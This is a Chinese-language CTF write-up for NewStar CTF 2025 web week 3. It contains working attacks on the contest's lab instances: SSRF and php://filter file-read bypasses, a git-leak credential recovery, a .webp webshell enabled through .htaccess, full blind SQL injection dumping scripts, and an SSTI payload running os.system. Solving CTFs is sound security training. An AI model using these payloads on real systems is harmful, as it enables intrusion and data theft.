NewStar CTF 2025 web week3

week3

mygo!!!

这题本来想远程文件包含,但好像是不出网的

dirsearch扫一下

直接读取flag.php

https://eci-2zeck33krj7fsuo01x59.cloudeci1.ichunqiu.com:80/?proxy=http://localhost/flag.php

回显

 <?php
$client_ip = $_SERVER['REMOTE_ADDR'];

// 只允许本地访问
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
header('HTTP/1.1 403 Forbidden');
echo "你是外地人,我只要\"本地\"人";
exit;
}

highlight_file(__FILE__);
if (isset($_GET['soyorin'])) {
$url = $_GET['soyorin'];

echo "flag在根目录";
// 普通请求
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
curl_exec($ch);
curl_close($ch);
exit;
}

?>

直接ssrf读根目录的flag

/?proxy=http://localhost/flag.php?soyorin=file:///flag

ez-chain

源码:

 <?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);

?>

源码大致意思是有两层过滤,

第一层会对传入的file进行检测,是否含有array(‘/‘,’:’,’php’,’base64’,’data’,’zip’,’rar’,’filter’,’flag’)

这里可以通过二次编码绕过

第二层会对回显的数据进行检测,是否含有f/F

这里可以通过zlib.deflate过滤器绕过

?file=php://filter/zlib.deflate/resource=/flag

对所有字符加密两次

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%32%25%37%61%25%36%39%25%37%30%25%33%32%25%32%65%25%36%33%25%36%66%25%36%64%25%37%30%25%37%32%25%36%35%25%37%33%25%37%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37

拿到加密结果

hex_data = "4B CB 49 4C AF 36 B5 B4 48 31 4B 4E 34 D6 B5 B4 48 4C D6 35 49 4A B6 D4 4D B4 34 31 D5 35 B6 B4 4C 36 32 4F 4A 4D 4E 34 35 AB E5 02"

脚本解密

import zlib

hex_data = "4B CB 49 4C AF 36 B5 B4 48 31 4B 4E 34 D6 B5 B4 48 4C D6 35 49 4A B6 D4 4D B4 34 31 D5 35 B6 B4 4C 36 32 4F 4A 4D 4E 34 35 AB E5 02"
data = bytes.fromhex(hex_data.replace(" ", ""))
out = zlib.decompressobj(-15).decompress(data) + zlib.decompressobj(-15).flush()
flag = out.rstrip(b"\r\n")
print(flag.decode())

拿到flag

小E的秘密计划

访问www.zip

得到login.php

<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

if ($username === $userData['username'] && $password === $userData['password']) {
header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
exit();
} else {
echo '登录失败,在git里找找吧';
exit();
}
}

同时还有 /.git 这里存在git泄露

git log

git show 5f8ecc03aee0de892013bba7ce0522876c419b58

列出所有 dangling blobs(文件内容)和 dangling commits(孤立提交)。

git fsck --lost-found

git show 353b98f7c2fe77a5a426bf73576f5113820c4669

拿到账号密码

'username' => 'admin',
'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'

登录

https://eci-2zeblwpcf44y6z3pp641.cloudeci1.ichunqiu.com:80/public-555edc76-9621-4997-86b9-01483a50293e/login.php
username=admin&password=f75cc3eb-21e0-4713-9c30-998a8edb13de

提示mac泄露,这里访问 /.DS_Store,发现下载成功

这里用工具解析一下,拿到flag路径

访问即可

mirror_gate

递归暴力扫描

python3 dirsearch.py -u https://eci-2ze2zpbvgzn0ytvq5uet.cloudeci1.ichunqiu.com:80/ -r

在uploads目录下扫出来.htaccess

访问

AddType application/x-httpd-php .webp

我们只需要将木马藏在.webp就可以

这里过滤了

<?php
eval(
shell_exec(
system(
......

这里我们用反引号

<?=`phpinfo();`)?>

拿到flag

白帽小K的故事(2)


amiya'%26%26(LENGTH(DATABASE())=5)%23
import requests
import string
import urllib3

urllib3.disable_warnings()

# ================== 配置 ==================
URL = "https://eci-2ze3d9n3z3g453ppubo6.cloudeci1.ichunqiu.com:80/search"

HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "Hm_lvt_2d0601bd28de7d49818249cf35d95943=1759898965,1760083024,1760179034,1760370320; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O",
"Referer": "https://eci-2ze3d9n3z3g453ppubo6.cloudeci1.ichunqiu.com:80/panel",
"Origin": "https://eci-2ze3d9n3z3g453ppubo6.cloudeci1.ichunqiu.com:80"
}


# ================== 核心函数 ==================
def check(raw_payload):
"""
raw_payload: 原始 SQL 注入 payload,例如: "amiya'&&1=1#"
函数会自动 URL 编码,并以 raw body 形式发送
"""
# 手动 URL 编码,保留 %26 %23 等结构
encoded = raw_payload.replace('&', '%26').replace('#', '%23').replace(' ', '%20')
# 注意:单引号 ' 不需要编码,在 form body 中是安全的
body = f"name={encoded}"

try:
r = requests.post(URL, headers=HEADERS, data=body, verify=False, timeout=10)
return '"message":"Found"' in r.text
except Exception as e:
print(f"[!] Error: {e}")
return False


# ================== 辅助提取函数 ==================
def get_length(query):
print(f"[*] Guessing length of: {query}")
for i in range(1, 50):
payload = f"amiya'&&({query})={i}#"
if check(payload):
print(f"[+] Length = {i}")
return i
return 0


def get_string(query, length):
result = ""
charset = string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+[]:;<>?,./|\\"
print(f"[*] Extracting string (length={length})...")
for i in range(1, length + 1):
found = False
for c in charset:
payload = f"amiya'&&ORD(SUBSTR(({query}),{i},1))={ord(c)}#"
if check(payload):
result += c
print(f"[+] Current: {result}")
found = True
break
if not found:
# 尝试空格等
payload = f"amiya'&&ORD(SUBSTR(({query}),{i},1))=32#"
if check(payload):
result += ' '
print(f"[+] Current: {result}")
else:
result += '?'
print(f"[!] Unknown char at position {i}")
return result


# ================== 主流程 ==================
if __name__ == "__main__":
print("[+] Starting Boolean Blind SQLi (MySQL with && and #)...")

# 1. 验证注入点
if not check("amiya'&&1=1#"):
print("[-] True payload failed.")
exit()
if check("amiya'&&1=2#"):
print("[-] False payload returned true. Logic may be inverted.")
exit()
print("[+] Injection confirmed!")

# 2. 获取数据库名
db_len = get_length("LENGTH(DATABASE())")
db_name = get_string("DATABASE()", db_len) if db_len else "unknown"
print(f"[+] Database: {db_name}")

# 3. 获取第一个表名
print("[*] Fetching first table...")
table_query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT 0,1"
table_len = get_length(f"LENGTH(({table_query}))")
table_name = get_string(table_query, table_len) if table_len else "no"
print(f"[+] Table: {table_name}")

# 4. 获取第一个字段名
print("[*] Fetching first column...")
col_query = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{table_name}' LIMIT 0,1"
col_len = get_length(f"LENGTH(({col_query}))")
col_name = get_string(col_query, col_len) if col_len else "no"
print(f"[+] Column: {col_name}")

# 5. 读取 flag
print("[*] Dumping flag...")
flag_query = f"SELECT {col_name} FROM {db_name}.{table_name} LIMIT 0,1"
flag_len = get_length(f"LENGTH(({flag_query}))")
flag = get_string(flag_query, flag_len) if flag_len else "Failed"
print(f"\n[+] FLAG: {flag}")

功能测试

name=amiya'&&1=1#

得到数据库名

amiya'%26%26(select(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata))from({1})))=ascii('{2}')))#
mysql,information_schema,performance_schema,sys,Terra,Flag

爆Flag表

amiya'%26%26(select(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='Flag'))from({1})))=ascii('{2}')))#
flag

爆列名

amiya'%26%26(select(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema='Flag'%26%26table_name='flag'))from({1})))=ascii('{2}')))#
flag

爆flag

amiya'%26%26(select(ascii(mid((select(group_concat(flag))from(Flag.flag))from(1)))=ascii('0')))#
flag{4b08dbc2-0d12-4563-b5c7-c7d79ecc607d}

python脚本:

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 目标URL
url = "https://eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80/search"

# headers
headers = {
"Host": "eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8",
"Referer": "https://eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80/panel",
"Content-Type": "application/x-www-form-urlencoded",
}

# Cookie(可自行替换)
cookies = {
"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1759898965,1760083024,1760179034,1760370320",
"chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O"
}

# 结果存储
result = ""

# 遍历第1到第50个字符
for i in range(1, 51):
found = False
for asc in range(1, 129): # ASCII 1~128
# payload 直接插入字符位置与ASCII值
payload = f"name=amiya'%26%26(select(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata))from({i})))={asc}))#"

try:
r = requests.post(url, headers=headers, cookies=cookies, data=payload, verify=False, timeout=5)
except Exception as e:
print(f"[!] 网络错误: {e}")
continue

# 简单的回显判断逻辑
if "error" not in r.text.lower() and "waf" not in r.text.lower():
print(f"[+] 位置 {i} -> 字符 {chr(asc)} (ASCII={asc})")
result += chr(asc)
found = True
break

if not found:
print(f"[-] 位置 {i} 未找到字符")
break

print("\n提取结果:")
print(result)

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 目标URL(注意:末尾有空格,需去除)
url = "https://eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80/search"

# headers(修正 Host 和 Referer 的多余空格)
headers = {
"Host": "eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8",
"Referer": "https://eci-2ze9c8266y2s4twos66b.cloudeci1.ichunqiu.com:80/panel",
"Content-Type": "application/x-www-form-urlencoded",
}

cookies = {
"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1759898965,1760083024,1760179034,1760370320",
"chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O"
}

def extract_data(payload_template, max_len=100):
"""
通用盲注提取函数
:param payload_template: 包含 {pos} 和 {ascii} 占位符的 payload 模板
:param max_len: 最大尝试长度
:return: 提取到的字符串
"""
result = ""
for i in range(1, max_len + 1):
found = False
for asc in range(1, 128): # ASCII 1~127(128 不可打印)
payload = payload_template.format(pos=i, ascii=asc)
data = f"name={payload}"
try:
r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False, timeout=5)
except Exception as e:
print(f"[!] 网络错误 (位置 {i}): {e}")
continue

# 根据你的判断逻辑:无 error 且无 waf 视为成功
if "error" not in r.text.lower() and "waf" not in r.text.lower():
char = chr(asc)
print(f"[+] 位置 {i} -> '{char}' (ASCII={asc})")
result += char
found = True
break

if not found:
print(f"[-] 位置 {i} 未匹配到字符,结束提取。")
break

return result


if __name__ == "__main__":
print("=== Step 1: 爆破所有数据库名 ===")
db_payload = "amiya'%26%26(select(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata))from({pos})))={ascii}))#"
databases = extract_data(db_payload, max_len=200)
print("数据库列表:", databases)

print("\n=== Step 2: 爆破 Flag 库中的表名 ===")
table_payload = "amiya'%26%26(select(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='Flag'))from({pos})))={ascii}))#"
tables = extract_data(table_payload, max_len=100)
print("表名列表:", tables)

print("\n=== Step 3: 爆破 flag 表的列名 ===")
column_payload = "amiya'%26%26(select(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema='Flag'%26%26table_name='flag'))from({pos})))={ascii}))#"
columns = extract_data(column_payload, max_len=100)
print("列名列表:", columns)

print("\n=== Step 4: 爆破 flag 值 ===")
flag_payload = "amiya'%26%26(select(ascii(mid((select(group_concat(flag))from(Flag.flag))from({pos})))={ascii}))#"
flag = extract_data(flag_payload, max_len=100)
print("\n最终 Flag:", flag)

who’ssti

这里的ssti是无回显的,想要执行任意函数需要用到

lipsum.__globals__.__builtins__.__import__

依次调用以下函数

{{ lipsum.__globals__.__builtins__.__import__('statistics').fmean([1,2,3]) }}

{{ lipsum.__globals__.__builtins__.__import__('difflib').get_close_matches('1', ['2', '3', '4']) }}

{{ lipsum.__globals__.__builtins__.__import__('textwrap').dedent(' hello\n world') }}

{{ lipsum.__globals__.__builtins__.__import__('statistics').mean([1,2,3]) }}

{{ __import__('yaml').load('!!python/object/apply:os.system ["id"]', Loader=__import__('yaml').FullLoader) }}

得到

flag{d327aff2-97fe-4e67-a908-d0434a7c448e}